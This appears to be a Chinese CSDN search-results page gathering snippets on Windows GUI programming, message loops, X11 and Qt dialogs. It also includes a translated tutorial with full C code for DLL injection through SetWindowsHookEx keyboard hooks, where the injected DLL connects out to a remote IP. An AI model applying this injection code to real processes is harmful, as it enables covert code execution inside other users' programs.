精华内容
下载资源
问答
  • 窗口程序的创建很简单,主要分为以下几个步骤: 注册窗口类创建窗口及显示窗口创建消息循环编写窗口过程函数 接下来详细说下细节。 注册窗口类 注册窗口要做的事情主要是设定窗口的属性和特征,通过调用...
    
    

    Windows下的消息机制

    Windows系统是基于事件的操作系统,它的消息机制是最主要的事件之一,所有的窗口程序都是通过消息跟系统进行交互的。

    在传统的C程序中,使用fopen函数打开文件,这个库函数最终会调用系统函数来打开文件,但是消息机制不仅仅是用户调用系统函数, 系统函数会反过调用用户函数。

    举个例子,我们点击了窗口中的“关闭”按钮,系统可以感知到这一事件,然后向用户程序发送一条WM_CLOSE的消息,这条消息会进入用户程序的消息队列中等待处理,用户程序有一个循环用来处理接收到的消息,等到这条消息被处理的时候,这条消息会激活用户程序的窗口过程函数来处理这条消息。

    系统发送消息到程序,程序接收到消息后的处理统称为窗口过程,最后调用的处理函数就是窗口过程处理函数。

    如果发送消息使用SendMessage函数就叫做不进队消息,这种方式发送的消息不会进入用户程序的消息队列,它会直接发送到目标窗口,然后等待窗口过程函数处理完后返回。

    如果发送消息使用PostMessage函数就叫做进队消息,这种消息是会进入到消息队列的。

    窗口程序要想接收到系统消息需要进行一系列的设置,知道怎么写一个最基础的窗口程序以后,对消息机制就会有更清晰的了解。

    Windows窗口程序的实现

    窗口程序的创建很简单,主要分为以下几个步骤:

    1. 注册窗口类
    2. 创建窗口及显示窗口
    3. 创建消息循环
    4. 编写窗口过程函数
      接下来详细说下细节。

    注册窗口类

    注册窗口要做的事情主要是设定窗口的属性和特征,通过调用RegisterClass(&wndclass)完成注册,wndclass是一个叫作WNDCLASS的结构体,它可以设置窗口的很多属性,在注册之前有若干个字段是必须要赋值的,它的结构体如下:

    style:指定窗口的样式

    • CS_HREDRAW:当窗口的水平宽度发生变化时窗口进行重绘
    • CS_VREDRAW:代表什么不用说了吧
    • CS_NOCLOSE:没有关闭按钮
    • CS_DBLCLKS:可以发送双击消息
      去掉某个样式:style = style &~CS_XXXX

    lpfnWndProc:窗口过程函数,Windows系统中每个窗口都可以有一个窗口过程函数,它的创建过程如下:

    1. 将窗口过程函数赋值给lpfnWndProc
    2. 注册窗口类,调用RegisterClass函数进行注册
    3. 主循环中调用DispatchMessage进行消息派发
      窗口过程函数的声明如下:
    typedef LRESULT (CALLBACK *WNDPROC)(HWND,UINT,WPARAM,WPARAM);

    LRESULT实际上是long类型,CALLBACK实际上是__stdcall,在VC++开发环境中,默认的编译选项是__cdecl,这种调用约定适用参数可变的函数,因为它是在函数外进行栈桢平衡。如果需要使用__stdcall需要指定,Windows API都遵循__stdcall。在Windows NT4.0以后程序中要使用回调函数必须遵循__stdcall。
    LoadIcon:这个字段用来指定图标,它的第二个参数用来指定一个资源名,Windows SDK的资源命名规范一般是ID+类型,比如说按钮就是IDB_XXX。
    hbrBackground:当窗口发生重绘时,系统使用这个字段指定的背景色作为重绘的颜色
    贴上一段参考代码:

    WNDCLASSEXW wcex;
    
        wcex.style = CS_HREDRAW | CS_VREDRAW;
        wcex.cbSize = sizeof(WNDCLASSEXW);
        wcex.lpfnWndProc = (WNDPROC)WndProc;
        wcex.cbClsExtra = 0;
        wcex.cbWndExtra = 0;
        wcex.hInstance = hInst;
        wcex.hCursor = LoadCursor(nullptr, MAKEINTRESOURCE(IDI_ZZPEANALYZER));
        wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ZZPEANALYZER));
        wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
        wcex.lpszClassName = szWindowClass;
        wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
        wcex.lpszMenuName = MAKEINTRESOURCE(IDC_ZZPEANALYZER);
        RegisterClassExW(&wcex);

    创建窗口及显示窗口

    创建窗口没有什么特别需要讲解的地方,下面将要贴出的代码说明了一切,不过还是有需要注意的地方。

    1. 当调用CreateWindows函数时,传递参数hWndParent时,如果指定为WS_CHILD,说明创建的是子窗口,子窗口会被父窗口所影响,具体影响如下:
    2. 调用UpdateWindow函数会发送一个WM_PAINT消息来刷新窗口
    HWND hWnd = CreateWindowEx(WS_EX_ACCEPTFILES,szWindowClass,szTitle,WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,700,500,NULL,NULL,hInstance,NULL);
        if (!hWnd)
        {
            return FALSE;
        }
        ShowWindow(hWnd, nShowCmd);
        UpdateWindow(hWnd);

    创建消息循环

    每个程序都有一个消息队列,可以通过GetMessage函数获取队列中的消息。
    GetMessage原型如下:

    BOOL GetMessage(LPMSG lpMsg,//消息结构体
                    HWND hWnd,//接收指定窗口的消息
                    UINT wMsgFilterMin,//获取的消息最小值
                    UINT wMsgFilterMax);//获取的消息最大值

    GetMessage只有在接收到WM_QUIT时才会返回0,如果出现错误会返回-1,主循环一般如下:

    MSG msg;
    while (GetMessage(&msg,nullptr,0,0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    GetMessage获取到消息队列中的消息以后,会执行TranslateMessage(),这个函数是用来将虚拟按键转换成字符的,比如说用户按下某个按键会产生WM_KEYDOWN和WM_KEYUP两个虚拟键代码,TranslateMessage()会将这两个虚拟键码转为WM_CHAR,并将这个message放到消息队列中,当下次调用GetMessage时这个消息会被调用,TranslateMessage()并不会修改消息,只是会新增一个消息。
    DispatchMessage()用来将消息回传给系统,系统会调用窗口过程的回调函数。

    PeekMessage
    和GetMessage()类似的函数还有PeekMessage,这个函数跟GetMessage()唯一的不同是有一个wRemoveMsg字段,当它是PM_REMOVE的时候在获取到消息后会将消息从消息队列中删除,跟GetMessage一致,当它是PM_NOREMOVE时不会将消息从消息队列中移除。

    编写窗口过程函数

    还记得在注册窗口时绑定的回调函数吗?它就是窗口过程函数的入口。

    wcex.lpfnWndProc = (WNDPROC)WndProc;

    这个回调函数的声明如下:

    参数在上面的注册窗口部分讲解过,就不赘述了。这个回调函数内部的实现主要是通过switch的方式来分类不同的消息处理函数,下面的图可供参考:

    WM_CHAR:当用户按下键盘上的一个字符键,这个分支会被调用
    WM_PAINT:当窗口的一部分或全部变为无效时就会调用这个分支,具体有以下几种情况触发:

    • 窗口刚创建时
    • 调用UpdateWindow时
    • 窗口大小变化时(前提需要注册窗口时设置了CS_HREDRAW和CS_VREDRAW标志)
    • 窗口被遮盖再显示时
      注意,只有在WM_PAINT分支内部才可以使用BeginPaint(对应EndPaint),在外部只能通过GetDC函数来获取DC(对应ReleaseDC)。

    DC全称Device Context,它包含了显示器、图形设备驱动器的一些信息,要在窗口上显示文字或者显示图形都需要用到DC,如果没有DC,我们就需要了解图形设备和它的驱动程序,通过调用驱动程序的接口来完成图形的显示,而图形设备有很多种,每一种都是不一样的,如果真要去了解这些驱动程序再作画,那工作量也太大了,因此微软提供了DC,由它去跟图形设备驱动程序打交道,我们只要使用它就可以直接画图了

    WM_CLOSE:当用户单击窗口上的关闭按钮时,系统会发送一条WM_CLOSE消息。
    DestroyWindow函数会向窗口过程发送WM_DESTROY消息,DestroyWindow函数执行完窗口就已经被销毁了,但是程序没还没有退出,因此需要在WM_DESTROY分支里面进行最后的处理。
    如果程序没有响应WM_CLOSE消息,系统就会调用DefWindowProc函数,这个函数会调用DestroyWindow函数来响应这条WM_CLOSE消息。

    WM_DESTROY:在这个分支里调用了PostQuitMessage,它会向消息队列中发送一条WM_QUIT消息,之前我们说过GetMessage在收到WM_QUIT会返回0,当它返回0时,主循环就停止了。传递给PostQuitMessage的参数会作为WM_QUIT消息的wParam参数,这个值通常作为WinMain函数的返回值。

    展开全文
  • 其实创建流程主要分为以下几个部分: 注册窗口类,这个步骤可以理解为创建了一个窗口模板,创建窗口时只要填写剩下的一些参数就可以了,当然其实Windows也预先注册了一些窗口类,但是我们暂时用不上,所以就得自己...

    文章目录

    1.窗口创建一般流程

    2.具体流程详细讲解

    上篇回顾:[C/C++语言windows编程入门]2.windows数据类型与句柄

    1.窗口创建一般流程

    其实创建流程主要分为以下几个部分:

    1. 注册窗口类,这个步骤可以理解为创建了一个窗口模板,创建窗口时只要填写剩下的一些参数就可以了,当然其实Windows也预先注册了一些窗口类,但是我们暂时用不上,所以就得自己注册一个
    2. 创建窗口并显示,就是利用以及注册的窗口类来创建窗口并且获取窗口句柄,再用ShowWindow函数来显示窗口就可以了
    3. 执行消息循环,就是写一个循环,一直获取消息然后翻译消息最后发送给窗口过程,直到消息循环结束

    2.具体流程详细讲解

    写不下太多了,就直接写到了另一个博客里,链接在这里:C语言创建windows窗口一般框架(附大量注释)
    效果图:
    效果图

    求三连(点赞收藏评论),要是觉得不过瘾可以试试五连(点赞收藏评论关注转发),蟹蟹

    展开全文
  • 天写了帖子,介绍在linux桌面系统卡死的时候,"刷新"桌面,后台机理就是这了,我整理了一下希望对你有用 linux内核不包含界面,一般发行版使用X 窗口系统(X Window System)简称X或X11,当前最新版本是X11R7,...

    前几天写了个帖子,介绍在linux桌面系统卡死的时候,自制刷新菜单,"刷新"桌面,其后台机理就是这个了,比较繁琐,我整理了一下,争取一锅会 ?
    在这里插入图片描述
    linux内核不包含界面,一般发行版使用X 窗口系统(X Window System)简称X或X11,当前最新版本是X11R7,分为硬件级(驱动级)和应用程序级组件,分别称为X Server和X Client,使用X协议(XDMCP)进行通信,是一种典型的C/S结构窗口系统设计. 其设计框架如下所示(示意图哈,别太较真 : -)


    X Server运行在用户的本地机器上,在屏幕上完成低层的绘图操作。因为X Server直接向显卡发送信号,因此必须使用一个适合本机显卡的X Server,并配置好合适的分辨率,刷新率,颜色深度等,现在一般在/etc/X11/xorg.conf的文件就是Xorg Server的配置文件。 X Server通过鼠标和键盘监听用户的输入,并将键盘按键和鼠标点击传输给X Client,这些信息叫事件(event),它们构成了GUI编程的一个关键元素。它的逻辑扩展,MFC叫消息,GTK和Qt叫信号。

    X Client是以X Window作为GUI的任何程序,如xterm,QQ和类似的更高级的应用程序,通常情况下,X Client等待X Server传送的用户事件,然后通过给X Server发送重绘消息来响应,X Client不需要和X Server运行在同一台机器上,这就是为什么xterm也能远程使用。

    X Protocol X Client与X Server使用X Protocol进行通信,使得客户端和服务器能够在网络中分离,实际上是X Server和X display manager之间使用XDMCP(X Display Manager Control Protocol)协议进行通信,使用端口为UDP:177。

    Xorg,X.Org Server是X窗口系统这一设计的参考实现,当前版本是X11R7.5,是一个对x窗口系统的具体软件实现.

    Xdm是X Display Manager的缩写,由它来启动X Window服务器,并管理图形客户端程序的登录、会话(登录成功后开启新的session)、启动窗口管理器等。如果Xdm是在本地运行,它会启动X Server,就像命令行登录的init,getty和login所做的事情一样;如果Xdm在网络上某台计算机上运行,它的行为就如同一个telnet server,验证用户名与密码,然后开始一个远程会话(Remote Session)。

    KDE,Gnome,deepin等桌面环境也提供了自己的xdm的实现,分别叫kdm和gdm,lightdm。

    xwm窗口管理器是在图形用户界面的视窗系统中,控制窗口位置与外观的软件。它是负责管理与定位窗口的移动、最大化、最小化、改变大小以及关闭等工作,简而言之,就是给一个窗口加上最大化,最小化,关闭按钮标题栏和框架。Twm(Tom Window Manager)就是X.org提供的简单的窗口管理器。
    参考:
    https://blog.csdn.net/xutaozero21/article/details/5644626
    https://blog.csdn.net/u013491946/article/details/73849305

    展开全文
  • 其实在Windows中有好种方法可以实现,这里我们首先尝试通过“SetWindowsHookEx”创建钩子(hooks)来实现。另外如果你对这方面很感兴趣,可以参考文章最底下的相关文献,这些文献包含大量的代码以及其他有用的信息...

    DLL注入的目的是将代码放进另一个进程的地址空间中,所以要怎样才能实现DLL注入呢?

    其实在Windows中有好几种方法可以实现,这里我们首先尝试通过“SetWindowsHookEx”创建钩子(hooks)来实现。另外如果你对这方面很感兴趣,可以参考文章最底下的相关文献,这些文献包含大量的代码以及其他有用的信息。

    Windows Hooks

    首先我们需要理解Windows的hook机制和API函数SetWindowsHookEx。Hook 机制允许应用程序截获处理窗口消息或特定事件。而钩子又可以分为多种,例如WH_KEYBOARD和WH_MOUSE,这两种钩子可以分别用来监视键盘和鼠标的消息。同样也存在这些钩子的低版本。要想理解Hook机制,必须要清楚的是每一个Hook事件的发生都有一个与之相关联的指针列表,称之为Hook链表。这个链表存在一系列的子进程,并且伴随着事件而执行。

    下面是Hook子程的语法,来源MSDN:

    使用SetWindowsHookEx实现DLL注入

    使用API函数SetWindowsHookEx()把一个应用程序定义的Hook子程安装到 Hook链表中。这是该函数的语法,来源MSDN:

    idHook是Hook的类型,lpfn是Hook子程的地址指针,hMod是应用程序实例的句柄,最后dwThreadId标识当前进程创建的线程。为了要让lpfn指向子程,首先通过LoadLibrary函数加载DLL文件至exe文件的地址空间中。然后通过GetProcessAddress获得所需函数的地址。最后调用SetWindowsHookEx,等待我们设置好的事件发生或者创建一个类似BroadcastSystemMessage的消息服务。一旦事件发生,Windows将会加载DLL至目标进程的地址空间中。

    代码

    下面的代码来源这里,首先通过LoadLibrary函数将DLL加载至可执行程序中。调用GetProcessAddress函数从DLL中获取注入地址。最后设置一个全局钩子(参数设置为0表示监视全局线程),监视程序。

    injector.c

    #include <windows.h>
    
    int main(int argc, char* argv)
    {
        /*
        Loads inject.dll into the address space of the calling function, in this case the running exe
        */
        HMODULE dll = LoadLibrary("inject.dll");
        if(dll == NULL)
        {
            printf("Cannot find DLL");
            getchar();
            return -1;
        }
    
        /*
        Gets the address of the inject method in the inject.dll
        */
        HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "inject");
        if(addr == NULL)
        {
            printf("Cannot find the function");
            getchar();
            return -1;
        }
    
        /*
        Places a hook in the hookchain for WH_KEYBOARD type events, using the address for the inject method, with the library address
        */
        HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0);
        if(handle == NULL)
        {
            printf("Couldn't hook the keyboard");
        }
    
        printf("Hooked the program, hit enter to exit");
        getchar();
        UnhookWindowsHookEx(handle);
    
        return 0;
    }

    injectShell.c

    #include <stdio.h>
    #include <winsock2.h>
    #include <windows.h>
    
    INT APIENTRY DllMain(HMODULE hDll, DWORD Reason, LPVOID Reserved)
    {
        FILE *file;
        fopen_s(&file, "C:\temp.txt", "a+");
    
        switch(Reason)
        {
            case DLL_PROCESS_ATTACH:
                fprintf(file, "DLL attach function called.n");
                break;
            case DLL_PROCESS_DETACH:
                fprintf(file, "DLL detach function called.n");
                break;
            case DLL_THREAD_ATTACH:
                fprintf(file, "DLL thread attach function called.n");
                break;
            case DLL_THREAD_DETACH:
                fprintf(file, "DLL thread detach function called.n");
                break;
        }
    
        fclose(file);
    
        return TRUE;
    }
    
    
    int inject(int code, WPARAM wParam, LPARAM lParam)
    {
    
        WSADATA wsa;
        SOCKET s;
        struct sockaddr_in server;
        char *message;
    
        printf("\nInitializing Winsock...");
        if(WSAStartup(MAKEWORD(2,2),&wsa) != 0)
        {
            printf("Failed. Error Code : %d", WSAGetLastError());
            return(CallNextHookEx(NULL, code, wParam, lParam));
        }
    
        printf("Initialized. \n");
    
        if((s = socket(AF_INET, SOCK_STREAM, 0 )) == INVALID_SOCKET)
        {
            printf("Could not create socket : %d", WSAGetLastError());
        }
    
        printf("Socket Created. \n");
    
        server.sin_addr.s_addr = inet_addr("192.168.146.130"); //ip address
        server.sin_family = AF_INET;
        server.sin_port = htons( 443 );
    
        if(connect(s, (struct sockaddr *)&server, sizeof(server)) < 0)
        {
            puts("connect error");
            return(CallNextHookEx(NULL, code, wParam, lParam));
        }
    
        puts("Connected");
    
        message = "Injected Shell";
        if( send(s, message, strlen(message), 0) <0)
        {
            puts("Send failed");
            return(CallNextHookEx(NULL, code, wParam, lParam));
        }
        puts("Data sent\n");
    
        return(CallNextHookEx(NULL, code, wParam, lParam));
    
    }

    这里我们可以看到,该DLL文件连接其他主机。

    接下来,DLL加载至另一个不同的进程中,成功!

    尽管这段代码还存在问题,但我们设置的全局钩子意味着可以监视任何按键信息。换句话说我们最终可以注入一些预期之外的东西。幸运的是,可以注入至一个特定的进程中。还有另一个包含一些必要修改的版本。MSDN帮助我获得了一些我所需要的东西。这段代码向目标注入中增加了一些额外的步骤。首先,获得注入进程的id。通过这个获得这个进程的线程id,而SetWindowsHookEx 函数中的最后的一个参数就是线程的id。接着开始监视我们的进程,我们只需等待。

    injector2.c

    #include <windows.h>
    #include <stdio.h>
    #include <tchar.h>
    #include <psapi.h>
    #include <tlhelp32.h>
    
    /*
    This method is used to get a thread id for a process. 
    It loops through all of the threads and compares their pid with the desired pid
    */
    DWORD getThreadID(DWORD pid)
    {
        puts("Getting Thread ID");
        HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
        if(h != INVALID_HANDLE_VALUE)
        {
            THREADENTRY32 te;
            te.dwSize = sizeof(te);
            if( Thread32First(h, &te))
            {
                do
                {
                    if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
                    {
                        if(te.th32OwnerProcessID == pid)
                        {
                            HANDLE hThread = OpenThread(READ_CONTROL, FALSE, te.th32ThreadID);
                            if(!hThread)
                            {
                                puts("Couldn't get thread handle");
                            }
                            else
                            {
                                //DWORD tpid = GetProcessIdOfThread(hThread);
                                //printf("Got one: %u\n", tpid);
                                return te.th32ThreadID;
                            }
                        }
                    }
                } while( Thread32Next(h, &te));
            }
        }
        CloseHandle(h);
        return (DWORD)0;
    }
    
    /*
    This method performs the actual injection. It gets an appropriate thread id, loads the dll, 
    gets the address of the inject method, then calls SetWindowsHookEx.
    */
    int processInject(int pid)
    {
        DWORD processID = (DWORD)pid;
    
            TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
    
            HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID);
    
            if (NULL != hProcess)
            {
                    HMODULE hMod;
                    DWORD cbNeeded;
    
                    if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
                    {
                            GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName)/sizeof(TCHAR) );
                    }
            }
    
        _tprintf( TEXT("Injecting into process %s PID: %u\n"), szProcessName, processID);
    
        DWORD threadID = getThreadID(processID);
    
        printf( "Using Thread ID %u\n", threadID);
    
        if(threadID == (DWORD)0)
        {
            puts("Cannot find thread");
            return -1;
        }
    
        HMODULE dll = LoadLibrary("inject2.dll");
        if(dll == NULL)
        {
            puts("Cannot find DLL");
            return -1;
        }
    
        HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "test");
        if(addr == NULL)
        {
            puts("Cannot find the function");
            return -1;
        }
        //Uses the threadID from getThreadID to inject into specific process
        HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, threadID);
    
        if(handle == NULL)
        {
            puts("Couldn't hook the keyboard");
        }
        getchar();
        getchar();
        getchar();
        UnhookWindowsHookEx(handle);
        return 0;
    }
    
    int main(int argc, char* argv)
    {
    
        int pid;
        puts("Inject into which PID?");
            scanf ("%u",&pid);
        printf("PID entered: %u\n", pid);
        int result = processInject(pid);
        if(result == -1)
        {
            puts("Could not inject");
        }
        else
        {
            puts("Injected!");
        }
        getchar();
    }

    test1.c

    #include <stdio.h>
    #include <windows.h>
    int test()
    {
        char str[80];
        /*
        Get's the current process id to display in the message box
        */
        int id = GetCurrentProcessId();
        sprintf(str, "Hello, process: %d", id);
        MessageBox(NULL, str, "Hello DLL!", MB_OK);
        return 0;
    }

    可以看到,这是从我们所选择的进程中运行的消息框。通过Process Explorer可以看到DLL同时加载到Notepad++和injector程序中,这个正是由于程序本身就加载了DLL文件。

    尽管如此,监视进程还存在一定的局限性。一个进程必须存在消息循环并且确保能够接收消息,这样才能被监视到。这个主要限制了基于GUI的应用程序的目标。SetWindowsHookEx 同样不能具有更高完整性的进程中使用。

    逆向代码

    下面是IDA逆向第一个injector的代码。

    上图虽然不是进程的整个流图,但是我们可以看到主要的SetWindowsHookEx部分。首先通过LoadLibraryA加载inject.dll。可以注意到,param1 在每个函数调用前被使用。将偏移地址保存在第一个参数所在的堆栈地址中。因此它获得注入函数(dllMethod)的地址,之后将DLL的句柄赋给param1,调用GetProcAddress。最后,加载SetWindowsHookEx的参数值,并调用函数。对比下第二个函数。

    相比之下只有一个不同点,将threadID复制至寄存器中,之后再将其复制至第四个参数所在的堆栈地址中,再调用SetWindowsHookEx函数。是不是还不错?在下一篇将准备开写远程线程注入方法,期待吧!

    参考资料

    http://win32assembly.programminghorizon.com/tut24.html

    https://www.daniweb.com/software-development/cpp/code/217096/keylogger-using-window-hooks

    https://msdn.microsoft.com/en-us/library/windows/desktop/ms644990%28v=vs.85%29.aspx

    http://blogs.msdn.com/b/oldnewthing/archive/2006/02/23/537856.aspx

    http://www.binarytides.com/winsock-socket-programming-tutorial/

    http://resources.infosecinstitute.com/using-setwindowshookex-for-dll-injection-on-windows/

    http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html

    https://github.com/malark3y/DLL-Injection

    https://warroom.securestate.com/index.php/real-world-malware-analysis/

    展开全文
  • 所用环境:Windows10 64位操作系统、VC++6.0编译器、MFC开发架构 实现功能:在MFC程序的单文档模式下,将窗口进行分割...一下内容分为如下几个部分: 1.创建工程 2.可视化编辑左侧窗体 3.在MainFrame.cpp中将初始窗...
  • 我们先来理解下 tmux 的几个元素。tmux 的主要元素分为三层 Session 一组窗口的集合,通常用来概括同一个任务。session 可以有自己的名字便于任务之间的切换。 Window 单个可见窗口Windows 有自己的编号,也可以...
  • Windows程序架构

    2010-12-14 08:24:49
    一、Windows程序框架 所有的Windows程序都是基于一个模式的,分为以下几个步骤: 1、定义窗口类(使用已有窗口类时可省略) 2、注册窗口类(使用已有窗口类时可省略) 3、创建窗口 4、显示窗口(根据情况可省略...
  • 初识Windows教学设计 一教学内容分析 初识Windows这一课是学习Windows的基础其主要分为以下方面的知识Windows桌面上有什么认识Windows的程序窗口改变窗口以及对菜单的了解和使用这四方面内容学习好这部分知识对...
  • windows 程序设计

    2011-07-24 21:16:30
    Microsoft Windows版本3.1是1992年4月发布的,其中包括的几个重要特性是TrueType字体技术(给Windows带来可缩放的轮廓字体)、多媒体(声音和音乐)、对象连结和嵌入(OLE:Object Linking and Embedding)和通用...
  • 它具有几个方便的选项,无论他们以前使用此类应用程序的经验如何,都应该使用户满意。 Windows EXE 加密工具 Free EXE Lock 中文版 Windows EXE 加密工具 Free EXE Lock 中文版 快速设置和直观的 GUI 安装该实用...
  • iTunes界面共分为3部分分别为顶部的菜单及音乐播放控制栏同步状态显示栏左侧的资料库与 导航栏中间部分则是主要内容的显示窗口 iTunes界面 ? 菜单栏 ? 其中主要功能为资源导入/导出设备同步影音播放控制App store ...
  • 1.exit 退出当前dos窗口(如输入exit...使用方法: cd 目录的路径(中间是几个空格不影响结果) 路径分为相对路径和绝对路径: 绝对路径如: C:\Users\Machenike 相对路径指该路径从当前所在的路径下作为出发点的路径,如
  • 控件操作的学习要关注以下几个方面: 1. 控件的创建 控件的创建形式分为静态创建和动态创建两种方式。 静态创建是指在对话框模板创建控件,并设置控件的属性,这样,在调用该对话框时,窗口系统会自动按预先的设置...
  • 一共分为9部分,请下全之后再解压。本书非常经典,推荐下载。 【内容简介】 本书所介绍的内容与计算机防护技术相关。本书基于作者在计算机编程方面的多年实践经验,对当今国际上最新的应用程序间的通信、挂钩、捆绑...
  • 这一节主要讲述对话框类,先讲述两种不同类型的对话框,再介绍Qt提供的几个标准对话框。对应本节的内容,可以在帮助索引中查看 QDialog 和 Dialog Windows 关键字。 一、模态和非模态对话框 QDialog 类是所有...
  • 入门学习Linux常用必会60命令实例详解doc/txt

    千次下载 热门讨论 2011-06-09 00:08:45
    建议在/mnt里建几个/mnt/cdrom、/mnt/floppy、/mnt/mo等目录,当作目录的专用挂载点。举例而言,如要挂载下列5个设备,其执行指令可能如下 (假设都是Linux的ext2系统,如果是Windows XX请将ext2改成vfat): 软盘 ==...
  • 把一个数拆分为几个数的和.cmd 把指定文件中的指定位置的数字相加.cmd 把秒转换为天小时分秒的格式.cmd 把首行和尾行互换.cmd 抛弃路径尾部指定层次的字符串.cmd 拼接相临的奇偶行文本内容.cmd 指定图片路径换桌面....
  • 把一个数拆分为几个数的和.cmd 无限制实数加减运算脚本.cmd 显示随机的5个数.cmd 水仙花数算法.cmd 求一列数所有不同组合的和.cmd 求最大公约数和最小公倍数.cmd 生成0-99之间的随机数列.cmd 用随机数做四则...
  • 用户界面设计

    2012-03-06 14:33:13
    AWT(Abstract Windows Toolkit,抽象窗口工具)是Java的一包,它包含用于创建基于事件、带窗口的Java程序和Applet程序的接口、类以及异常处理类。AWT包括标准的GUI(图形用户界面)构件,如窗口、对话框、事件...
  • Tab Organizer-crx插件

    2021-04-03 22:59:34
    您可以将选项卡分为个窗口,用于做作业,一个用于购物,另一个用于工作,然后列表继续。 通过单击图标使用扩展程序,它将自动将您打开的所有选项卡列出到易于阅读的列表中。 之后,您可以按自己认为合适的方式将...
  • 个窗口与其他窗口共享显示屏幕,也包括其他应用程序所创建的窗口。一次只能有一个窗口接受用户的输入。用户可以使用鼠标、键盘或其他输人设备与该窗口及拥有该窗口的应用程序进行交互。使用窗口函数可以创建和管理...
  • **Bom:浏览器对象模型 ...会分为以下几个对象 窗口windows对象 地址栏: location对象 历史记录栏: history对象 屏幕 screen对象 通过JavaScript引擎提供给这个四个对象来操作浏览器,就是Bom编程 **有哪些
  • Window编程主函数详解

    2015-11-10 16:03:42
    总体上可以分为几个部分。 第一个是主函数的生命 WinMain(),这个含函数在百度上是这样定义的,这个函数是被系统调用的,是一个32位的应用程序的入口点,这个函数应初始化应用程序,显示一个主窗口,进入一个消息的...
  • 上一篇博客中已经完成了Windows上运行OpenGLES的简单例程,现在分析下其调用流程。 1)EGL工作流程 首先需要了解下调用EGL创建与...流程大致分为如下步: 1)调用平台相关函数创建原生窗口(EGL不负责这)...
  • Python入门:Python虚拟环境安装和配置详细教程 学习Python,我们首先要从电脑独立开辟出一个虚拟的Python环境,通过虚拟环境更加方便我们来管理,在这个...虚拟环境的使用分为以下几个步骤: (1) 创建虚拟环境使用命令
  • lParam信息

    2011-02-15 13:39:45
    lParam的32位分为6个字段,如图6...不过,如果按下一个键之后,您的窗口消息处理程序不够快,以致不能处理自动重复速率(您可以在「控制台」的「键盘」中进行设定)下的按键消息,Windows就把几个WM_KEYDOWN或者WM_S...
  • QT4 Designer 初体验-转载(经典)

    千次阅读 2012-06-14 17:34:48
     界面分为几个部分,最常用的是左边的工具箱和右边的属性窗口、信号/槽编辑器。  下面就开始创建第一个QT程序QTDemo。这个程序是一个最简单的对话框程序,对话框上有一个按钮,点击该按钮后退出应用程序。 一、...
  • DX GUI(一)

    2010-08-30 18:00:00
    使用C++和Directx开发GUI(一) 看起来我在做发明车轮的浪费时间的事--windows 已经有一套非常复杂功能完善的GUI.不幸的是windows的GUI适用于...文章分为几部分,每部分涉及一特定的GUI编程主题.这并不需要按顺序阅

空空如也

空空如也

1 2 3 4 5 ... 8
收藏数 155
精华内容 62
关键字:

windows窗口分为几个窗口